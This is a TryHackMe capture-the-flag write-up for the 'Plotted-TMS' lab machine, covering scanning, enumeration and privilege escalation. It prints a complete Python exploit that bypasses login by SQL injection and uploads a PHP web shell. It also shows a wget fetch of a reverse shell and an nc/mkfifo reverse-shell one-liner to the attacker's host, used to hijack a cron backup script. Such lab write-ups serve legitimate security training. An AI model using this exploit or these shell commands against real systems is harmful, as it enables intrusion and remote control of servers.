Skip to content

Plotted-TMS

TryHackMe Link

Description

Everything here is plotted! Tip: Enumeration is key!

Scanning

  • Assigned IP address:   10.10.72.232

  • Open Ports:

PORT

SERVICE

DESCRIPTION

22/TCP

SSH

OpenSSH 8.2p1 Ubuntu 4ubuntu0.3

80/TCP

HTTP

Apache httpd 2.4.41

445/TCP

HTTP

Apache httpd 2.4.41

  • Nmap Report:
     1
     2
     3
     4
     5
     6
     7
     8
     9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-26 09:29 EST
    Nmap scan report for 10.10.72.232
    Host is up (0.17s latency).
    
    PORT    STATE SERVICE VERSION
    22/tcp  open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey: 
    |   3072 a36a9cb11260b272130984cc3873444f (RSA)
    |   256 b93f8400f4d1fdc8e78d98033874a14d (ECDSA)
    |_  256 d08651606946b2e139439097a6af9693 (ED25519)
    80/tcp  open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-title: Apache2 Ubuntu Default Page: It works
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    445/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
    |_http-title: Apache2 Ubuntu Default Page: It works
    |_http-server-header: Apache/2.4.41 (Ubuntu)
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Host script results:
    |_smb2-time: Protocol negotiation failed (SMB2)
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 51.45 seconds
    

Enumeration

In order to gain access to the system, I began by opening port 80 and was greeted with the Apache default page.

My next step was to try and enumerate hidden folders through the use of dirsearch.py. This led me to discover that the /admin, /shadow, and /passwd directories were available. However, this was a trap which I unfortunately fell for.

Afterwards, I attempted to use enum4linux to enumerate the so-called "SMB" protocol at port 445. It wasn't until later that I realized another http server was running on that port, which again was a trap that I fell for.

My next attempt involved enumerating hidden folders on 10.10.72.232:445, which led me to discover the /management/ folder that hosted a Traffic Offense Management system.

After conducting some online research, I found an exploit that could be allowed for Remote Code Execution (RCE). Also, I located the exploit code at searchsploit

Initial Access

I successfully uploaded a shell to the /uploads folder using the following code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python2
import requests
import time
from bs4 import BeautifulSoup

print ("\nExample: http://example.com\n")

url = raw_input("Url: ")
payload_name = "evil.php"
payload_file = "<?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>"

if url.startswith(('http://', 'https://')):
    print "Check Url ...\n"
else:
    print "\n[?] Check Adress\n"
    url = "http://" + url

try:
    response = requests.get(url)
except requests.ConnectionError as exception:
    print("[-] Address not reachable")
    sys.exit(1)

session = requests.session()

request_url = url + "/classes/Login.php?f=login"
post_data = {"username": "'' OR 1=1-- '", "password": "'' OR 1=1-- '"}
bypass_user = session.post(request_url, data=post_data)


if bypass_user.text == '{"status":"success"}':
    print ("[+] Bypass Login\n")
    cookies = session.cookies.get_dict()
    req = session.get(url + "/admin/?page=user")
    parser = BeautifulSoup(req.text, 'html.parser')
    userid = parser.find('input', {'name':'id'}).get("value")
    firstname = parser.find('input', {'id':'firstname'}).get("value")
    lastname = parser.find('input', {'id':'lastname'}).get("value")
    username = parser.find('input', {'id':'username'}).get("value")

    request_url = url + "/classes/Users.php?f=save"
    headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "sec-ch-ua-mobile": "?0", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryxGKa5dhQCRwOodsq", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
    data = "------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n"+ userid +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\n"+ firstname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\n"+ lastname +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+ username +"\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq\r\nContent-Disposition: form-data; name=\"img\"; filename=\""+ payload_name +"\"\r\nContent-Type: application/x-php\r\n\r\n" + payload_file +"\n\r\n------WebKitFormBoundaryxGKa5dhQCRwOodsq--\r\n"
    upload = session.post(request_url, headers=headers, cookies=cookies, data=data)
    time.sleep(2)

    if upload.text == "1":
        print ("[+] Upload Shell\n")
        time.sleep(2)
        req = session.get(url + "/admin/?page=user")
        parser = BeautifulSoup(req.text, 'html.parser')
        find_shell = parser.find('img', {'id':'cimg'})
        print ("[+] Exploit Done!\n")

        while True:
            cmd = raw_input("$ ")
            headers = {'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36'}
            request = requests.post(find_shell.get("src") + "?cmd=" + cmd, data={'key':'value'}, headers=headers)
            print request.text.replace("<pre>" ,"").replace("</pre>", "")
            time.sleep(1)

    elif upload.text == "2":
        print ("[-] Try the manual method")
        request_url = url + "/classes/Login.php?f=logout"
        cookies = session.cookies.get_dict()
        headers = {"sec-ch-ua": "\";Not A Brand\";v=\"99\", \"Chromium\";v=\"88\"", "sec-ch-ua-mobile": "?0", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"}
        session.get(request_url, headers=headers, cookies=cookies)
    else:
        print("[!]An unknown error")

else:
    print ("[-] Failed to bypass login panel")

There were some glitch on the code, but the upload was successful. I quickly checked the browser and I could see

I proceeded to execute commands via cmd argument in order to retrieve the /etc/passwd content.

RCE

GET /management/uploads/1677425460_evil.php?cmd=/etc/passwd HTTP/1.1
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:ubuntu:/home/ubuntu:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false
plot_admin:x:1001:1001:,,,:/home/plot_admin:/bin/bash

The command revealed the names of the users plot_admin and ubuntu.

To further penetrate the system, I set out to get a stabilized reverse shell. I hosted a reverse shell from my side and accessed it through the cmd argument.

RCE

GET /management/uploads/1677425460_evil.php?cmd=wget+http%3a//10.17.3.217%3a8000/shell.php HTTP/1.1
GET /management/uploads/1677425460_evil.php?cmd=chmod+777+shell.php HTTP/1.1

Upon accessing http://10.10.72.232:445/management/uploads/shell.php,

I successfully gained a reverse shell for the www-data user.

Privilege Escalation

Gaining user access (plot_admin)

Next, I sent a linpeas script to the system and executed it and these were the following results:

  • Sudo version 1.8.31
  • CVE-2022-2588
  • * * * * * plot_admin /var/www/scripts/backup.sh
  • 127.0.0.1:3306
  • 127.0.0.1:33060
  • /swap.img

It revealed that there was a script running in a cron job every minute. I believed this to be the door for privilege escalation.

Something Seemed off

The backup.sh file was owned by plot_admin, while /var/www/scripts/ was owned by www-data (the current user).

This was a security risk as anyone could delete the content from the folder and recreate it. So, I took this advantage to give permissions to user.txt and tms_backups in the /home/plot_admin folder and accessed the first flag.

Gaining root access

From there, I escalated my privilege to plot_admin by overwriting the backup.sh with a reverse shell.

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.17.3.217 5432 >/tmp/f  

Running linpeas.sh again, I found the following:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
-rwsr-xr-x   1 root     root               68208 Jul 14  2021 /usr/bin/passwd
-rwsr-xr-x   1 root     root              166056 Jan 19  2021 /usr/bin/sudo
-rwsr-xr-x   1 root     root               88464 Jul 14  2021 /usr/bin/gpasswd
-rwsr-xr-x   1 root     root               55528 Jul 21  2020 /usr/bin/mount
-rwsr-xr-x   1 root     root               67816 Jul 21  2020 /usr/bin/su
-rwsr-xr-x   1 root     root               85064 Jul 14  2021 /usr/bin/chfn
-rwsr-xr-x   1 root     root               39144 Mar  7  2020 /usr/bin/fusermount
-rwsr-xr-x   1 root     root               53040 Jul 14  2021 /usr/bin/chsh
-rwsr-xr-x   1 root     root               39144 Jul 21  2020 /usr/bin/umount
-rwsr-xr-x   1 root     root               39008 Feb  5  2021 /usr/bin/doas
-rwsr-xr-x   1 root     root               44784 Jul 14  2021 /usr/bin/newgrp
-rwsr-xr-x   1 root     root               19040 Jun  3  2021 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x   1 root     root              130408 Mar 26  2021 /usr/lib/snapd/snap-confine
-rwsr-xr-x   1 root     root               14488 Jul  8  2019 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x   1 root     root              473576 Jul 23  2021 /usr/lib/openssh/ssh-keysign

Definition

The doas command (short for "do as") is a linux utility that allows a user to execute a command with the privileges of another user, typically the root user.

Leveraging the openssl command alongside the doas command in gtfobins, I was able to read files and ultimately obtain the second flag.